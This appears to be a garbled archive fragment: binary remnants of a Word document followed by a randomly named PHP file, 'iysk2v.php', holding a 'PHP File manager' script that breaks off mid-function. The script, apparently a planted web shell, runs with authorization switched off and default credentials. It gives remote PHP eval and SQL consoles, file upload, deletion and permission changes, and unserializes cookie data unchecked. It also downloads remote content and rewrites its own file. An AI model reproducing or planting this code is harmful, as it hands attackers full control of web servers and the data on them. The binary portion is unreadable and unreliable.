�+Άg�N�"��c }Ŝ��7ѤM�<#ٽ'�yLo���%�*�Sy_Oˋ�= �1���b��r�[:�V5��Y/GDIs����z�iFGG��J����wE�b��#�YZn�Y���y�q�T5:}�nfE0���	���퍖UZ_3�\`噚Yu�K��K�ERU�r�?�n��f���x�ިY�:Z�2�7[���5˃���L}��FK���a����5�A[��2AK��E�ʸ�ض@ZY6��A[դ��<���M3v�n��cTd�`�d�t֕�&���=��?f�T孮�x\�P-�;��_-xyt�vZ���_���*�i��v?�Ue��y��#:�;vD�Ȏ�4Y�QC���yl�#:Rvz��3n�����
ڻ�V��2Z�X���vZ��j����*0w*���
h�BZ�p�*��	ڻR\�
)h�BZ��*D��
h�:���NB��P!-T�@U�{��
�]�
).B��P!-T�@"�B��P!%T`�$THA"�B��P�݅
�qB��.B��B
Z��*D��
h�BZ��*0w*���
h�BZ��b�B{�P���P!�E���*D��
h�BZ��*D��
̝�
)h�BZ����D��b��QO�u��O]�J�6o�6Q�VvV�;N84ޞ8T�F7�Č�CԖ��&W]8�:���i�}@&�磙��)��u��T��B޴I�^[���`չ�6���`�kt�.�KW�t�ۆ�x�b�6Z氋��h��p��l�n�
�Q ��֣�����
��� �	ma	}U
�P]�f't����ՍvʟVޱv��v����̰�v���u5$8�`�]
Qή�(7WÁ�jH���}p��\
0(gWC����T�u5$`]
	XW����wWC���!���pq�u5$`]
	XWC��������j�rs5ȒѮ���!�jHpr5�����]
Qm�VGQj�Fy�0�-�C܄l�g��![2��%��-A_U>�eK��섮޳���N@�ӊ�;֎B{؎rs5.[jr��P���qْ�ոl��ոl��ոl��j\���j\���j���Npr5.[ju5.[ju5.[���-5��-5��-5���lŸ��-���-�]�˖�\�˖�\�˖�\�˖���eK���eK���eKvW㲥&W㲥&W㲥&W�%��q�R��q�R��q��Ka�<<(j����=U�䳂���4�9���(@7u�f+Y�z�ؿ
�77�1�ʇ�j��� �r*Y�@��K��J�Y�^U��\�z������ܖ���Ù�@��Ue+T��ZU�u�T{��]wY�_��ZkY�@m�Ꭵ�����PkvS�D5&q�4��y*��V���`tGJ������KR���]c:-�_w��s�>)�g��Ԩjl�+S~��b�ts��}}���ջ
]��;���ܿ��Ԣ��Q �}D`��2V?��~#]��x�wwG�g�/�w�o��[}i~^=�Nx�L�e��R峦uC�3�� ʤ��ՉazM^E���*�����s2f��iz��k7�R������=��g4Ơv���V��%}�z��w��KP���]��d�"���,��|��l�E�z�g�Ȳ�f����\.r�jZCT�6G�5˿-�_~x���`���?-Z�������`�������Vc��t�v���=�-k��}Ѝjո�-�%�a�u���ӳ�Quŧ=��Z9����7B�̙�bAb�`#Z;L"-�����z�r~1W^�p��{|r��w��_EA�N���9�w]R�:>����C�����
�T��z�
�ХV���G�OA���ZY�t{������|��]!�r�C&�~2�,�8������
��.�Ñ�!e�h^�����rg�?/�����L���_��W~^�(�����������a�ч$G��C���M�����5�T�Ӻ�'0��*��~��:-W.�=է����PK!�"K�docProps/app.xml �(��S�n�0�G�"߯N��N��	uB�V��vm���"�-۫V.y^�w@��wo�q���qE.��}�|�1;���d�+�$�$-M��fA��W'g$�A�BTFÂ�s��[9c�>A
�d��S��j�G�)��E@�m�)K%��Ȼt��4�R��(NlOH:�.�/iad��o�E>�r�m%𷱲&Ԍ�^�� �\�_�Φ�m��|�hحq������V8!6�g���{im���_�FIg�)CrՊN"���Y��s*�y���d��F��!����	��|�[KQ�{�KQy`�]���]	��|2�x�'<&�;�!vnAv�)���:�ŕ����s��<�g��hj�b�Մgm����h� >��P��*������VC��Q��ǯ�O�N��{ij+4v��;��_��\ąyl�s��*l�Vȸ9��JBl�^(p��z�ċ�*��z�!�i .�M��y6���[u��j���PK!����U(customXml/itemProps1.xml �$(� ��MK�0����=�f7h]�.�Cث(xͦ�6�$%IE��)�֣��a�y���a��}��
`�2��ڎ^_�HY��rvX���ñ�Q��<�#�,5t��V�W�������3R�#Ms`Mw_��uߐ%�Mg��)��HiPvnA����FƄ~�n��֩ՠ�t��wT�Io��Ֆ�w��p�[���Z.�2k7z�L�@���Qm|�����PK!W%�R��(customXml/item1.xml �$(� ��A
� E�" ��B�@��Rn��F���hn_)�'��ޠ�L{1X�Ā��)�8�Ǽ��]^9����
6��+��
=rG�@5��]ʸ�Ϧ�YVH�z��d�����Ϡ�>�Eew|eQM�b�7��PK!t?9z�(customXml/_rels/item1.xml.rels �(��ϱ��0���ho��P��K)t;J�GILc�Xji߾�+t�(���Q���E]1��h��jP
>N~��j���.����G{��J	����D60��o���,W�0��H9X)c�t��l'�_u���ݓ���|P�=�;6��w�#w	�E�v
���d*���yB1��ߪ��	�k�����PK!9Zbݑ�docProps/core.xml �(�|�OK�0��ߡ��&�6��UP�IAp�x��lӒdn��g���C��L��s(^��y��y�xg�g�(-
�E4 �ɋT�A��{�6�a2eY!�����N���2⅂#U����9��/�hhLa��r�GH^*g�}�.�d�!![8�Rf��~��B��FY�TVR�!��ј�X*���2fZŸ�2l�
8��q�F]���G���f�%q�##L�����7U�0S��>��ٝ}�O���4#�Q
/�j����]ʅ�twZ)?��޸�ݳ�ɾڗٵ��o�+ƿK*��+Q�sҡ�f��x1��O!��q��p��iko��CIHh蓖Oi����r^��V���5���|��ӭ���n\
���'�|��PK-!�ˬ�	[Content_Types].xmlPK-!���N�_rels/.relsPK-!1���V�word/_rels/document.xml.relsPK-!\��0Fu��	word/document.xmlPK-!ĩ���!word/header3.xmlPK-!���k�T#word/footer3.xmlPK-!��\dJ
�&word/footnotes.xmlPK-!��*4cD
�)word/endnotes.xmlPK-!ĩ���,word/header1.xmlPK-!ĩ���U.word/header2.xmlPK-!:�8���0word/footer1.xmlPK-! 6@�I��2word/footer2.xmlPK-!�^}-$�O6word/theme/theme1.xmlPK-!ae��VI�<word/settings.xmlPK-!:����Lword/fontTable.xmlPK-!��;���
Oword/webSettings.xmlPK-!ay�
s�Pword/styles.xmlPK-!�"K��^docProps/app.xmlPK-!����UbcustomXml/itemProps1.xmlPK-!W%�R��PccustomXml/item1.xmlPK-!t?9z�(3dcustomXml/_rels/item1.xml.relsPK-!9Zbݑ�9fdocProps/core.xmlPK�iysk2v.php000064400000232754000000000000006311 0ustar00<?php
/* PHP File manager ver 1.4 */

// Configuration — do not change manually!
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"en","Add":"Add","Are you sure you want to delete this directory (recursively)?":"Are you sure you want to delete this directory (recursively)?","Are you sure you want to delete this file?":"Are you sure you want to delete this file?","Archiving":"Archiving","Authorization":"Authorization","Back":"Back","Cancel":"Cancel","Chinese":"Chinese","Compress":"Compress","Console":"Console","Cookie":"Cookie","Created":"Created","Date":"Date","Days":"Days","Decompress":"Decompress","Delete":"Delete","Deleted":"Deleted","Download":"Download","done":"done","Edit":"Edit","Enter":"Enter","English":"English","Error occurred":"Error occurred","File manager":"File manager","File selected":"File selected","File updated":"File updated","Filename":"Filename","Files uploaded":"Files uploaded","French":"French","Generation time":"Generation time","German":"German","Home":"Home","Quit":"Quit","Language":"Language","Login":"Login","Manage":"Manage","Make directory":"Make directory","Name":"Name","New":"New","New file":"New file","no files":"no files","Password":"Password","pictures":"pictures","Recursively":"Recursively","Rename":"Rename","Reset":"Reset","Reset settings":"Reset settings","Restore file time after editing":"Restore file time after editing","Result":"Result","Rights":"Rights","Russian":"Russian","Save":"Save","Select":"Select","Select the file":"Select the file","Settings":"Settings","Show":"Show","Show size of the folder":"Show size of the folder","Size":"Size","Spanish":"Spanish","Submit":"Submit","Task":"Task","templates":"templates","Ukrainian":"Ukrainian","Upload":"Upload","Value":"Value","Hello":"Hello"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/fahriyzx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////AAWVFbEAAAAZdEVYdFNvZnR3YXJlAEFkb2JlIEltYWdlUmVhZHlxyWU8AAAA2UlEQVQoU2NYjQYYsAiE8U9YzDYjVpGZRxMiECitMrVZvoMrTlQ2ESRQJ2FVwinYbmqTULoohnE1g1aKGS/fNMtk40yZ9KVLQhgYkuY7NxQvXyHVFNnKzR69qpxBPMez0ETAQyTUvSogaIFaPcNqV/M5dha2Rl2Timb6Z+QBDY1XN/Sbu8xFLG3eLDfl2UABjilO1o012Z3ek1lZVIWAAmUTK6L0s3pX+jj6puZ2AwWUvBRaphswMdUujCiwDwa5VEdPI7ynUlc7v1qYURLquf42hz45CBPDtwACrm+RDcxJYAAAAABJRU5ErkJggg==");
	background-repeat: no-repeat;
}';
}

function fm_config_checkbox_row($name,$value) {
	global $fm_config;
	return '<tr><td class="row1"><input id="fm_config_'.$value.'" name="fm_config['.$value.']" value="1" '.(empty($fm_config[$value])?'':'checked="true"').' type="checkbox"></td><td class="row2 whole"><label for="fm_config_'.$value.'">'.$name.'</td></tr>';
}

function fm_protocol() {
	if (isset($_SERVER['HTTP_SCHEME'])) return $_SERVER['HTTP_SCHEME'].'://';
	if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') return 'https://';
	if (isset($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == 443) return 'https://';
	if (isset($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') return 'https://';
	return 'http://';
}

function fm_site_url() {
	return fm_protocol().$_SERVER['HTTP_HOST'];
}

function fm_url($full=false) {
	$host=$full?fm_site_url():'.';
	return $host.'/'.basename(__FILE__);
}

function fm_home($full=false){
	return '&nbsp;<a href="'.fm_url($full).'" title="'.__('Home').'"><span class="home">&nbsp;&nbsp;&nbsp;&nbsp;</span></a>';
}

function fm_run_input($lng) {
	global $fm_config;
	$return = !empty($fm_config['enable_'.$lng.'_console']) ? 
	'
				<form  method="post" action="'.fm_url().'" style="display:inline">
				<input type="submit" name="'.$lng.'run" value="'.strtoupper($lng).' '.__('Console').'">
				</form>
' : '';
	return $return;
}

function fm_url_proxy($matches) {
	$link = str_replace('&amp;','&',$matches[2]);
	$url = isset($_GET['url'])?$_GET['url']:'';
	$parse_url = parse_url($url);
	$host = $parse_url['scheme'].'://'.$parse_url['host'].'/';
	if (substr($link,0,2)=='//') {
		$link = substr_replace($link,fm_protocol(),0,2);
	} elseif (substr($link,0,1)=='/') {
		$link = substr_replace($link,$host,0,1);	
	} elseif (substr($link,0,2)=='./') {
		$link = substr_replace($link,$host,0,2);	
	} elseif (substr($link,0,4)=='http') {
		//alles machen wunderschon
	} else {
		$link = $host.$link;
	} 
	if ($matches[1]=='href' && !strripos($link, 'css')) {
		$base = fm_site_url().'/'.basename(__FILE__);
		$baseq = $base.'?proxy=true&url=';
		$link = $baseq.urlencode($link);
	} elseif (strripos($link, 'css')){
		//как-то тоже подменять надо
	}
	return $matches[1].'="'.$link.'"';
}
 
function fm_tpl_form($lng_tpl) {
	global ${$lng_tpl.'_templates'};
	$tpl_arr = json_decode(${$lng_tpl.'_templates'},true);
	$str = '';
	foreach ($tpl_arr as $ktpl=>$vtpl) {
		$str .= '<tr><td class="row1"><input name="'.$lng_tpl.'_name[]" value="'.$ktpl.'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_value[]"  cols="55" rows="5" class="textarea_input">'.$vtpl.'</textarea> <input name="del_'.rand().'" type="button" onClick="this.parentNode.parentNode.remove();" value="'.__('Delete').'"/></td></tr>';
	}
return '
<table>
<tr><th colspan="2">'.strtoupper($lng_tpl).' '.__('templates').' '.fm_run_input($lng_tpl).'</th></tr>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1">'.__('Name').'</td><td class="row2 whole">'.__('Value').'</td></tr>
'.$str.'
<tr><td colspan="2" class="row3"><input name="res" type="button" onClick="document.location.href = \''.fm_url().'?fm_settings=true\';" value="'.__('Reset').'"/> <input type="submit" value="'.__('Save').'" ></td></tr>
</form>
<form method="post" action="">
<input type="hidden" value="'.$lng_tpl.'" name="tpl_edited">
<tr><td class="row1"><input name="'.$lng_tpl.'_new_name" value="" placeholder="'.__('New').' '.__('Name').'"></td><td class="row2 whole"><textarea name="'.$lng_tpl.'_new_value"  cols="55" rows="5" class="textarea_input" placeholder="'.__('New').' '.__('Value').'"></textarea></td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Add').'" ></td></tr>
</form>
</table>
';
}

/* End Functions */

// authorization
if ($auth['authorize']) {
	if (isset($_POST['login']) && isset($_POST['password'])){
		if (($_POST['login']==$auth['login']) && ($_POST['password']==$auth['password'])) {
			setcookie($auth['cookie_name'], $auth['login'].'|'.md5($auth['password']), time() + (86400 * $auth['days_authorization']));
			$_COOKIE[$auth['cookie_name']]=$auth['login'].'|'.md5($auth['password']);
		}
	}
	if (!isset($_COOKIE[$auth['cookie_name']]) OR ($_COOKIE[$auth['cookie_name']]!=$auth['login'].'|'.md5($auth['password']))) {
		echo '
<!doctype html>
<html>
<head>
<meta charset="utf-8" />
<meta name="viewport" content="width=device-width, initial-scale=1" />
<title>'.__('File manager').'</title>
</head>
<body>
<form action="" method="post">
'.__('Login').' <input name="login" type="text">&nbsp;&nbsp;&nbsp;
'.__('Password').' <input name="password" type="password">&nbsp;&nbsp;&nbsp;
<input type="submit" value="'.__('Enter').'" class="fm_input">
</form>
'.fm_lang_form($language).'
</body>
</html>
';  
die();
	}
	if (isset($_POST['quit'])) {
		unset($_COOKIE[$auth['cookie_name']]);
		setcookie($auth['cookie_name'], '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_site_url().$_SERVER['REQUEST_URI']);
	}
}

// Change config
if (isset($_GET['fm_settings'])) {
	if (isset($_GET['fm_config_delete'])) { 
		unset($_COOKIE['fm_config']);
		setcookie('fm_config', '', time() - (86400 * $auth['days_authorization']));
		header('Location: '.fm_url().'?fm_settings=true');
		exit(0);
	}	elseif (isset($_POST['fm_config'])) { 
		$fm_config = $_POST['fm_config'];
		setcookie('fm_config', serialize($fm_config), time() + (86400 * $auth['days_authorization']));
